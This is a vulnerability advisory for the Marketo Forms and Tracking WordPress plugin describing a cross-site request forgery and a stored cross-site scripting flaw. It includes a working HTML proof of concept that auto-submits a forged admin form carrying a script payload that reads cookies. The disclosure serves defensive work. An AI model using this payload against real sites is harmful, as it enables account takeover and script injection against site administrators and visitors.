SB2020012001 - Multiple vulnerabilities in Marketo Forms and Tracking plugin for WordPress
Published: January 20, 2020
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 2 secuirty vulnerabilities.
1) Cross-site request forgery (CVE-ID: CVE-2020-6849)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
PoC:
<html>
<form action="https://[host]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf">
<input type="text" name="marketo_save" value="true">
<input type="text" name="marketo[marketo_id]" value=""><script>alert(document.cookie)</script>">
<input type="text" name="marketo[marketo_base_url]" value="">
<input type="text" name="marketo[user_id]" value="">
<input type="text" name="marketo[end_point]" value="">
<input type="text" name="marketo[secret]" value="">
<input type="text" name="marketo[popout_title]" value="">
<input type="text" name="marketo[popout_tabtext]" value="">
<input type="text" name="marketo[popout_snippet]" value="">
<input type="text" name="marketo[popout_form]" value="">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</html>2) Cross-site scripting (CVE-ID: CVE-2020-6849)
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data. A remote authenticated attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
Remediation
Cybersecurity Help is not aware of any official remediation provided by the vendor.